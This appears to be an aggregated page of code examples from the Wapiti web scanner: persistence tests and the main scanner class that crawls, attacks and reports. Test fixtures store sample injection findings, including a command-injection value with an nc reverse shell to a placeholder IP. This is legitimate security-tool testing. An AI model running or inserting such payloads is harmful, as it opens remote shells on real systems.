Esempio n. 1
0
def test_raw_post():
    json_req = Request(
        "http://httpbin.org/post?a=b",
        post_params=json.dumps({"z": 1, "a": 2}),
        enctype="application/json"
    )

    try:
        os.unlink("/tmp/crawl.db")
    except FileNotFoundError:
        pass

    persister = SqlitePersister("/tmp/crawl.db")
    persister.set_root_url("http://httpbin.org/")
    persister.set_to_browse([json_req])
    assert persister.count_paths() == 1

    extracted = next(persister.get_to_browse())
    assert json_req == extracted
    assert json.loads(extracted.post_params) == {"z": 1, "a": 2}

    naughty_json = Request(
        "http://httpbin.org/post?a=b",
        post_params=json.dumps({"z": "I'm a naughty value", "a": 2}),
        enctype="application/json"
    )
    persister.add_vulnerability(1, "Command Execution", 1, naughty_json, "z", "I'm a naughty value")
    payload = next(persister.get_payloads())
    assert naughty_json == payload.evil_request
    assert payload.parameter == "z"
Esempio n. 2
0
def test_persister_forms():
    with open("tests/data/forms.html") as data_body:
        url = "http://perdu.com/"
        respx.get(url).mock(return_value=httpx.Response(200, text=data_body.read()))

        resp = httpx.get(url, allow_redirects=False)
        page = Page(resp)

        forms = list(page.iter_forms())

        try:
            os.unlink("/tmp/crawl.db")
        except FileNotFoundError:
            pass

        persister = SqlitePersister("/tmp/crawl.db")
        persister.set_root_url("http://httpbin.org/")
        persister.set_to_browse(forms)

        assert persister.count_paths() == 9

        extracted_forms = list(persister.get_to_browse())
        assert len(extracted_forms) == 9
        assert set(forms) == set(extracted_forms)

        for form in extracted_forms:
            if form.file_path == "/upload.php":
                assert form.file_params[0] == ["file", ("pix.gif", "GIF89a", "image/gif")]
            elif form.file_path == "/fields.php":
                assert ["file", "pix.gif"] in form.post_params
Esempio n. 3
0
def test_persister_upload():
    try:
        os.unlink("/tmp/crawl.db")
    except FileNotFoundError:
        pass

    persister = SqlitePersister("/tmp/crawl.db")
    persister.set_root_url("http://httpbin.org/")

    simple_upload = Request(
        "http://httpbin.org/post?qs1",
        post_params=[["post1", "c"], ["post2", "d"]],
        file_params=[["file1", ["'fname1", "content"]], ["file2", ["fname2", "content"]]]
    )

    xml_upload = Request(
        "http://httpbin.org/post?qs1",
        post_params=[["post1", "c"], ["post2", "d"]],
        file_params=[["calendar", ["calendar.xml", "<xml>Hello there</xml"]]]
    )
    persister.add_request(simple_upload)
    persister.add_request(xml_upload)
    assert persister.count_paths() == 2
    stored_requests = set(persister.get_to_browse())
    assert simple_upload in stored_requests
    assert xml_upload in stored_requests

    responses.add(
        responses.POST,
        "http://httpbin.org/post?qs1",
        body="Hello there"
    )
    crawler = Crawler("http://httpbin.org/")

    for req in stored_requests:
        crawler.send(req)
        persister.add_request(req)

        if req == simple_upload:
            assert req.file_params == simple_upload.file_params
            assert req.file_params[0] == ["file1", ["'fname1", "content"]]
            assert req.file_params[1] == ["file2", ["fname2", "content"]]
        else:
            assert req.file_params == xml_upload.file_params
            assert req.file_params[0] == ["calendar", ["calendar.xml", "<xml>Hello there</xml"]]

    naughty_file = Request(
        "http://httpbin.org/post?qs1",
        post_params=[["post1", "c"], ["post2", "d"]],
        file_params=[["calendar", ["calendar.xml", "<xml>XXE there</xml>"]]]
    )
    persister.add_vulnerability(1, "Command Execution", 1, naughty_file, "calendar", "<xml>XXE there</xml>")
    payload = next(persister.get_payloads())
    assert naughty_file == payload.evil_request
    assert payload.parameter == "calendar"
    assert len(list(persister.get_forms(path="http://httpbin.org/post"))) == 2
Esempio n. 4
0
async def test_persister_upload():
    try:
        os.unlink("/tmp/crawl.db")
    except FileNotFoundError:
        pass

    persister = SqlitePersister("/tmp/crawl.db")
    persister.set_root_url("http://httpbin.org/")

    simple_upload = Request(
        "http://httpbin.org/post?qs1",
        post_params=[["post1", "c"], ["post2", "d"]],
        file_params=[["file1", ("'fname1", "content", "text/plain")], ["file2", ("fname2", "content", "text/plain")]]
    )

    xml_upload = Request(
        "http://httpbin.org/post?qs1",
        post_params=[["post1", "c"], ["post2", "d"]],
        file_params=[["calendar", ("calendar.xml", "<xml>Hello there</xml", "application/xml")]]
    )
    persister.add_request(simple_upload)
    persister.add_request(xml_upload)
    assert persister.count_paths() == 2
    stored_requests = set(persister.get_to_browse())
    assert simple_upload in stored_requests
    assert xml_upload in stored_requests

    respx.post("http://httpbin.org/post?qs1").mock(return_value=httpx.Response(200, text="Hello there"))
    crawler = AsyncCrawler("http://httpbin.org/")

    for req in stored_requests:
        await crawler.async_send(req)
        persister.add_request(req)

        if req == simple_upload:
            assert req.file_params == simple_upload.file_params
            assert req.file_params[0] == ["file1", ("'fname1", "content", "text/plain")]
            assert req.file_params[1] == ["file2", ("fname2", "content", "text/plain")]
        else:
            assert req.file_params == xml_upload.file_params
            assert req.file_params[0] == ["calendar", ("calendar.xml", "<xml>Hello there</xml", "application/xml")]

    naughty_file = Request(
        "http://httpbin.org/post?qs1",
        post_params=[["post1", "c"], ["post2", "d"]],
        file_params=[["calendar", ("calendar.xml", "<xml>XXE there</xml>", "application/xml")]]
    )
    persister.add_vulnerability(1, "Command Execution", 1, naughty_file, "calendar", "<xml>XXE there</xml>")
    payload = next(persister.get_payloads())
    assert naughty_file == payload.evil_request
    assert payload.parameter == "calendar"
    assert len(list(persister.get_forms(path="http://httpbin.org/post"))) == 2
    await crawler.close()
Esempio n. 5
0
class Wapiti:
    """This class parse the options from the command line and set the modules and the HTTP engine accordingly.
    Launch wapiti without arguments or with the "-h" option for more informations."""

    REPORT_DIR = "report"
    HOME_DIR = os.getenv("HOME") or os.getenv("USERPROFILE")
    COPY_REPORT_DIR = os.path.join(HOME_DIR, ".wapiti", "generated_report")

    def __init__(self,
                 root_url,
                 scope="folder",
                 session_dir=None,
                 config_dir=None):
        self.target_url = root_url
        self.server = urlparse(root_url).netloc
        self.crawler = crawler.Crawler(root_url)

        self.target_scope = scope
        if scope == "page":
            self.crawler.scope = crawler.Scope.PAGE
        elif scope == "folder":
            self.crawler.scope = crawler.Scope.FOLDER
        elif scope == "domain":
            self.crawler.scope = crawler.Scope.DOMAIN
        elif scope == "punk":
            self.crawler.scope = crawler.Scope.PUNK
        else:
            self.crawler.scope = crawler.Scope.URL

        self.report_gen = None
        self.report_generator_type = "html"
        self.output_file = ""

        self.urls = []
        self.forms = []
        self.attacks = []

        self.color = 0
        self.verbose = 0
        self.module_options = None
        self.attack_options = {}
        self._start_urls = deque([self.target_url])
        self._excluded_urls = []
        self._bad_params = set()
        self._max_depth = 40
        self._max_links_per_page = 0
        self._max_files_per_dir = 0
        self._scan_force = "normal"
        self._max_scan_time = 0
        self._max_attack_time = 0
        self._bug_report = True

        if session_dir:
            SqlitePersister.CRAWLER_DATA_DIR = session_dir

        if config_dir:
            SqlitePersister.CONFIG_DIR = config_dir

        self._history_file = os.path.join(
            SqlitePersister.CRAWLER_DATA_DIR, "{}_{}_{}.db".format(
                self.server.replace(':', '_'), self.target_scope,
                md5(root_url.encode(errors="replace")).hexdigest()[:8]))

        if not os.path.isdir(SqlitePersister.CRAWLER_DATA_DIR):
            os.makedirs(SqlitePersister.CRAWLER_DATA_DIR)

        self.persister = SqlitePersister(self._history_file)

    def _init_report(self):
        self.report_gen = get_report_generator_instance(
            self.report_generator_type.lower())

        self.report_gen.set_report_info(self.target_url, self.target_scope,
                                        gmtime(), WAPITI_VERSION)

        for vul in vulnerabilities:
            self.report_gen.add_vulnerability_type(
                vul.NAME, vul.DESCRIPTION, vul.SOLUTION,
                flatten_references(vul.REFERENCES))

        for anomaly in anomalies:
            self.report_gen.add_anomaly_type(
                anomaly.NAME, anomaly.DESCRIPTION, anomaly.SOLUTION,
                flatten_references(anomaly.REFERENCES))

        for additional in additionals:
            self.report_gen.add_additional_type(
                additional.NAME, additional.DESCRIPTION, additional.SOLUTION,
                flatten_references(additional.REFERENCES))

    def _init_attacks(self):
        self._init_report()

        logger = ConsoleLogger()
        if self.color:
            logger.color = True

        print(_("[*] Loading modules:"))
        modules_list = sorted(module_name[4:]
                              for module_name in attack.modules)
        print("\t {0}".format(", ".join(modules_list)))
        for mod_name in attack.modules:
            try:
                mod = import_module("wapitiCore.attack." + mod_name)
            except ImportError:
                print(_("[!] Could not find module {0}").format(mod_name))
                continue

            mod_instance = getattr(mod, mod_name)(self.crawler, self.persister,
                                                  logger, self.attack_options)
            if hasattr(mod_instance, "set_timeout"):
                mod_instance.set_timeout(self.crawler.timeout)
            self.attacks.append(mod_instance)

            self.attacks.sort(key=attrgetter("PRIORITY"))

        for attack_module in self.attacks:
            attack_module.set_verbose(self.verbose)
            if attack_module.name not in attack.commons:
                attack_module.do_get = False
                attack_module.do_post = False

            if self.color == 1:
                attack_module.set_color()

        # Custom list of modules was specified
        if self.module_options is not None:
            # First deactivate all modules
            for attack_module in self.attacks:
                attack_module.do_get = False
                attack_module.do_post = False

            opts = self.module_options.split(",")

            for module_opt in opts:
                if module_opt.strip() == "":
                    continue

                method = ""
                if module_opt.find(":") > 0:
                    module_name, method = module_opt.split(":", 1)
                else:
                    module_name = module_opt

                # deactivate some module options
                if module_name.startswith("-"):
                    module_name = module_name[1:]
                    if module_name in ("all", "common"):
                        for attack_module in self.attacks:
                            if module_name == "all" or attack_module.name in attack.commons:
                                if not method:
                                    attack_module.do_get = attack_module.do_post = False
                                elif method == "get":
                                    attack_module.do_get = False
                                elif method == "post":
                                    attack_module.do_post = False
                    else:
                        found = False
                        for attack_module in self.attacks:
                            if attack_module.name == module_name:
                                found = True
                                if not method:
                                    attack_module.do_get = attack_module.do_post = False
                                elif method == "get":
                                    attack_module.do_get = False
                                elif method == "post":
                                    attack_module.do_post = False
                        if not found:
                            print(
                                _("[!] Unable to find a module named {0}").
                                format(module_name))

                # activate some module options
                else:
                    if module_name.startswith("+"):
                        module_name = module_name[1:]

                    if module_name in ("all", "common"):
                        for attack_module in self.attacks:
                            if module_name == "all" or attack_module.name in attack.commons:
                                if not method:
                                    attack_module.do_get = attack_module.do_post = True
                                elif method == "get":
                                    attack_module.do_get = True
                                elif method == "post":
                                    attack_module.do_post = True
                    else:
                        found = False
                        for attack_module in self.attacks:
                            if attack_module.name == module_name:
                                found = True
                                if not method:
                                    attack_module.do_get = attack_module.do_post = True
                                elif method == "get":
                                    attack_module.do_get = True
                                elif method == "post":
                                    attack_module.do_post = True
                        if not found:
                            print(
                                _("[!] Unable to find a module named {0}").
                                format(module_name))

    def update(self):
        """Update modules that implement an update method"""
        logger = ConsoleLogger()
        if self.color:
            logger.color = True

        for mod_name in attack.modules:
            mod = import_module("wapitiCore.attack." + mod_name)
            mod_instance = getattr(mod, mod_name)(self.crawler, self.persister,
                                                  logger, self.attack_options)
            if hasattr(mod_instance, "update"):
                print(_("Updating module {0}").format(mod_name[4:]))
                mod_instance.update()
        print(_("Update done."))

    def browse(self):
        """Extract hyperlinks and forms from the webpages found on the website"""
        for resource in self.persister.get_to_browse():
            self._start_urls.append(resource)
        for resource in self.persister.get_links():
            self._excluded_urls.append(resource)
        for resource in self.persister.get_forms():
            self._excluded_urls.append(resource)

        stopped = False

        explorer = crawler.Explorer(self.crawler)
        explorer.max_depth = self._max_depth
        explorer.max_files_per_dir = self._max_files_per_dir
        explorer.max_requests_per_depth = self._max_links_per_page
        explorer.forbidden_parameters = self._bad_params
        explorer.qs_limit = SCAN_FORCE_VALUES[self._scan_force]
        explorer.verbose = (self.verbose > 0)
        explorer.load_saved_state(self.persister.output_file[:-2] + "pkl")

        self.persister.set_root_url(self.target_url)
        start = datetime.utcnow()

        try:
            for resource in explorer.explore(self._start_urls,
                                             self._excluded_urls):
                # Browsed URLs are saved one at a time
                self.persister.add_request(resource)
                if (datetime.utcnow() -
                        start).total_seconds() > self._max_scan_time >= 1:
                    print(_("Max scan time was reached, stopping."))
                    break
        except KeyboardInterrupt:
            stopped = True

        print(_("[*] Saving scan state, please wait..."))

        # Not yet scanned URLs are all saved in one single time (bulk insert + final commit)
        self.persister.set_to_browse(self._start_urls)
        # Let's save explorer values (limits)
        explorer.save_state(self.persister.output_file[:-2] + "pkl")

        print('')
        print(_(" Note"))
        print("========")

        print(
            _("This scan has been saved in the file {0}").format(
                self.persister.output_file))
        if stopped:
            print(
                _("The scan will be resumed next time unless you pass the --skip-crawl option."
                  ))

    def attack(self):
        """Launch the attacks based on the preferences set by the command line"""
        self._init_attacks()

        for attack_module in self.attacks:
            start = datetime.utcnow()
            if attack_module.do_get is False and attack_module.do_post is False:
                continue

            print('')
            if attack_module.require:
                attack_name_list = [
                    attack.name for attack in self.attacks
                    if attack.name in attack_module.require and (
                        attack.do_get or attack.do_post)
                ]
                if attack_module.require != attack_name_list:
                    print(
                        _("[!] Missing dependencies for module {0}:").format(
                            attack_module.name))
                    print("  {0}".format(",".join([
                        attack for attack in attack_module.require
                        if attack not in attack_name_list
                    ])))
                    continue

                attack_module.load_require([
                    attack for attack in self.attacks
                    if attack.name in attack_module.require
                ])

            attack_module.log_green(_("[*] Launching module {0}"),
                                    attack_module.name)

            already_attacked = self.persister.count_attacked(
                attack_module.name)
            if already_attacked:
                attack_module.log_green(
                    _("[*] {0} pages were previously attacked and will be skipped"
                      ), already_attacked)

            generator = attack_module.attack()

            answer = "0"
            skipped = 0
            while True:
                try:
                    original_request_or_exception = next(generator)
                    if isinstance(original_request_or_exception,
                                  BaseException):
                        raise original_request_or_exception
                    if (datetime.utcnow() - start
                        ).total_seconds() > self._max_attack_time >= 1:
                        print(
                            _("Max attack time was reached for module {0}, stopping."
                              .format(attack_module.name)))
                        break
                except KeyboardInterrupt as exception:
                    print('')
                    print(_("Attack process was interrupted. Do you want to:"))
                    print(
                        _("\tr) stop everything here and generate the (R)eport"
                          ))
                    print(_("\tn) move to the (N)ext attack module (if any)"))
                    print(_("\tq) (Q)uit without generating the report"))
                    print(_("\tc) (C)ontinue the current attack"))

                    while True:
                        try:
                            answer = input("? ").strip().lower()
                        except UnicodeDecodeError:
                            pass

                        if answer not in ("r", "n", "q", "c"):
                            print(
                                _("Invalid choice. Valid choices are r, n, q and c."
                                  ))
                        else:
                            break

                    if answer in ("r", "n"):
                        break

                    if answer == "c":
                        continue

                    # if answer is q, raise KeyboardInterrupt and it will stop cleanly
                    raise exception
                except (ConnectionError, Timeout, ChunkedEncodingError,
                        ContentDecodingError):
                    sleep(1)
                    skipped += 1
                    continue
                except StopIteration:
                    break
                except Exception as exception:
                    # Catch every possible exceptions and print it
                    exception_traceback = sys.exc_info()[2]
                    print(exception.__class__.__name__, exception)
                    print_tb(exception_traceback)

                    if self._bug_report:
                        traceback_file = str(uuid1())
                        with open(traceback_file, "w") as traceback_fd:
                            print_tb(exception_traceback, file=traceback_fd)
                            print("{}: {}".format(exception.__class__.__name__,
                                                  exception),
                                  file=traceback_fd)
                            print("Occurred in {} on {}".format(
                                attack_module.name, self.target_url),
                                  file=traceback_fd)
                            print("{}. Requests {}. OS {}".format(
                                WAPITI_VERSION, requests.__version__,
                                sys.platform))

                        try:
                            upload_request = Request(
                                "https://wapiti3.ovh/upload.php",
                                file_params=[[
                                    "crash_report",
                                    [
                                        traceback_file,
                                        open(traceback_file, "rb").read()
                                    ]
                                ]])
                            page = self.crawler.send(upload_request)
                            print(
                                _("Sending crash report {} ... {}").format(
                                    traceback_file, page.content))
                        except RequestException:
                            print(_("Error sending crash report"))
                        os.unlink(traceback_file)
                else:
                    if original_request_or_exception and original_request_or_exception.path_id is not None:
                        self.persister.set_attacked(
                            original_request_or_exception.path_id,
                            attack_module.name)

            if hasattr(attack_module, "finish"):
                attack_module.finish()

            if skipped:
                print(
                    _("{} requests were skipped due to network issues").format(
                        skipped))

            if answer == "1":
                break

        # if self.crawler.get_uploads():
        #     print('')
        #     print(_("Upload scripts found:"))
        #     print("----------------------")
        #     for upload_form in self.crawler.get_uploads():
        #         print(upload_form)
        if not self.output_file:
            if self.report_generator_type == "html":
                self.output_file = self.COPY_REPORT_DIR
            else:
                filename = "{}_{}".format(
                    self.server.replace(":", "_"),
                    strftime("%m%d%Y_%H%M", self.report_gen.scan_date))
                if self.report_generator_type == "txt":
                    extension = ".txt"
                elif self.report_generator_type == "json":
                    extension = ".json"
                else:
                    extension = ".xml"
                self.output_file = filename + extension

        for payload in self.persister.get_payloads():
            if payload.type == "vulnerability":
                self.report_gen.add_vulnerability(category=payload.category,
                                                  level=payload.level,
                                                  request=payload.evil_request,
                                                  parameter=payload.parameter,
                                                  info=payload.info)
            elif payload.type == "anomaly":
                self.report_gen.add_anomaly(category=payload.category,
                                            level=payload.level,
                                            request=payload.evil_request,
                                            parameter=payload.parameter,
                                            info=payload.info)
            elif payload.type == "additional":
                self.report_gen.add_additional(category=payload.category,
                                               level=payload.level,
                                               request=payload.evil_request,
                                               parameter=payload.parameter,
                                               info=payload.info)

        self.report_gen.generate_report(self.output_file)
        print('')
        print(_("Report"))
        print("------")
        print(
            _("A report has been generated in the file {0}").format(
                self.output_file))
        if self.report_generator_type == "html":
            print(
                _("Open {0} with a browser to see this report.").format(
                    self.report_gen.final_path))
        # if self.http_engine.sslErrorOccured:
        #     print('')
        #     print(_("Warning: Wapiti came across some SSL errors during the scan, it maybe missed some webpages."))

    def set_timeout(self, timeout: float = 6.0):
        """Set the timeout for the time waiting for a HTTP response"""
        self.crawler.timeout = timeout

    def set_verify_ssl(self, verify: bool = False):
        """Set whether SSL must be verified."""
        self.crawler.secure = verify

    def set_proxy(self, proxy: str = ""):
        """Set a proxy to use for HTTP requests."""
        self.crawler.set_proxy(proxy)

    def add_start_url(self, url: str):
        """Specify an URL to start the scan with. Can be called several times."""
        self._start_urls.append(url)

    def add_excluded_url(self, url_or_pattern: str):
        """Specify an URL to exclude from the scan. Can be called several times."""
        self._excluded_urls.append(url_or_pattern)

    def set_cookie_file(self, cookie: str):
        """Load session data from a cookie file"""
        if os.path.isfile(cookie):
            json_cookie = jsoncookie.JsonCookie()
            json_cookie.open(cookie)
            cookiejar = json_cookie.cookiejar(self.server)
            json_cookie.close()
            self.crawler.session_cookies = cookiejar

    def set_auth_credentials(self, auth_basic: tuple):
        """Set credentials to use if the website require an authentication."""
        self.crawler.credentials = auth_basic

    def set_auth_type(self, auth_method: str):
        """Set the authentication method to use."""
        self.crawler.auth_method = auth_method

    def add_bad_param(self, param_name: str):
        """Exclude a parameter from an url (urls with this parameter will be
        modified. This function can be call several times"""
        self._bad_params.add(param_name)

    def set_max_depth(self, limit: int):
        """Set how deep the scanner should explore the website"""
        self._max_depth = limit

    def set_max_links_per_page(self, limit: int):
        self._max_links_per_page = limit

    def set_max_files_per_dir(self, limit: int):
        self._max_files_per_dir = limit

    def set_scan_force(self, force: str):
        self._scan_force = force

    def set_max_scan_time(self, seconds: float):
        self._max_scan_time = seconds

    def set_max_attack_time(self, seconds: float):
        self._max_attack_time = seconds

    def set_color(self):
        """Put colors in the console output (terminal must support colors)"""
        self.color = 1

    def verbosity(self, verbose: int):
        """Define the level of verbosity of the output."""
        self.verbose = verbose

    def set_bug_reporting(self, value: bool):
        self._bug_report = value

    def set_attack_options(self, options: dict = None):
        self.attack_options = options if isinstance(options, dict) else {}

    def set_modules(self, options=""):
        """Activate or deactivate (default) all attacks"""
        self.module_options = options

    def set_report_generator_type(self, report_type="xml"):
        """Set the format of the generated report. Can be html, json, txt or xml"""
        self.report_generator_type = report_type

    def set_output_file(self, output_file: str):
        """Set the filename where the report will be written"""
        self.output_file = output_file

    def add_custom_header(self, key: str, value: str):
        self.crawler.add_custom_header(key, value)

    def flush_attacks(self):
        self.persister.flush_attacks()

    def flush_session(self):
        self.persister.close()
        try:
            os.unlink(self._history_file)
        except FileNotFoundError:
            pass

        try:
            os.unlink(self.persister.output_file[:-2] + "pkl")
        except FileNotFoundError:
            pass
        self.persister = SqlitePersister(self._history_file)

    def count_resources(self) -> int:
        return self.persister.count_paths()

    def has_scan_started(self) -> bool:
        return self.persister.has_scan_started()

    def have_attacks_started(self) -> bool:
        return self.persister.have_attacks_started()
Esempio n. 6
0
async def test_persister_basic():
    url = "http://httpbin.org/?k=v"
    respx.get(url).mock(return_value=httpx.Response(200, text="Hello world!"))

    crawler = AsyncCrawler("http://httpbin.org/")

    try:
        os.unlink("/tmp/crawl.db")
    except FileNotFoundError:
        pass

    persister = SqlitePersister("/tmp/crawl.db")
    persister.set_root_url("http://httpbin.org/")

    simple_get = Request("http://httpbin.org/?k=v")

    simple_post = Request(
        "http://httpbin.org/post?var1=a&var2=b",
        post_params=[["post1", "c"], ["post2", "d"]]
    )
    persister.set_to_browse([simple_get, simple_post])

    assert persister.get_root_url() == "http://httpbin.org/"
    assert persister.count_paths() == 2
    assert not len(list(persister.get_links()))
    assert not len(list(persister.get_forms()))
    assert not len(list(persister.get_payloads()))

    stored_requests = set(persister.get_to_browse())
    assert simple_get in stored_requests
    assert simple_post in stored_requests

    # If there is some requests stored then it means scan was started
    assert persister.has_scan_started()
    assert not persister.has_scan_finished()
    assert not persister.have_attacks_started()

    for req in stored_requests:
        if req == simple_get:
            await crawler.async_send(req)
            # Add the sent request
            persister.add_request(req)
            assert req.path_id == 1
            assert persister.get_path_by_id(1) == req
            break

    # Should be one now as the link was crawled
    assert len(list(persister.get_links())) == 1
    # We still have two entries in paths though as the resource just got updated
    assert persister.count_paths() == 2

    persister.set_attacked(1, "xss")
    assert persister.count_attacked("xss") == 1
    assert persister.have_attacks_started()

    naughty_get = Request("http://httpbin.org/?k=1%20%OR%200")
    persister.add_vulnerability(1, "SQL Injection", 1, naughty_get, "k", "OR bypass")
    assert next(persister.get_payloads())
    persister.flush_attacks()
    assert not persister.have_attacks_started()
    assert not len(list(persister.get_payloads()))
    persister.flush_session()
    assert not persister.count_paths()

    naughty_post = Request(
        "http://httpbin.org/post?var1=a&var2=b",
        post_params=[["post1", "c"], ["post2", ";nc -e /bin/bash 9.9.9.9 9999"]]
    )
    persister.add_vulnerability(1, "Command Execution", 1, naughty_post, "post2", ";nc -e /bin/bash 9.9.9.9 9999")
    payload = next(persister.get_payloads())
    persister.close()
    assert naughty_post == payload.evil_request
    assert payload.parameter == "post2"
    await crawler.close()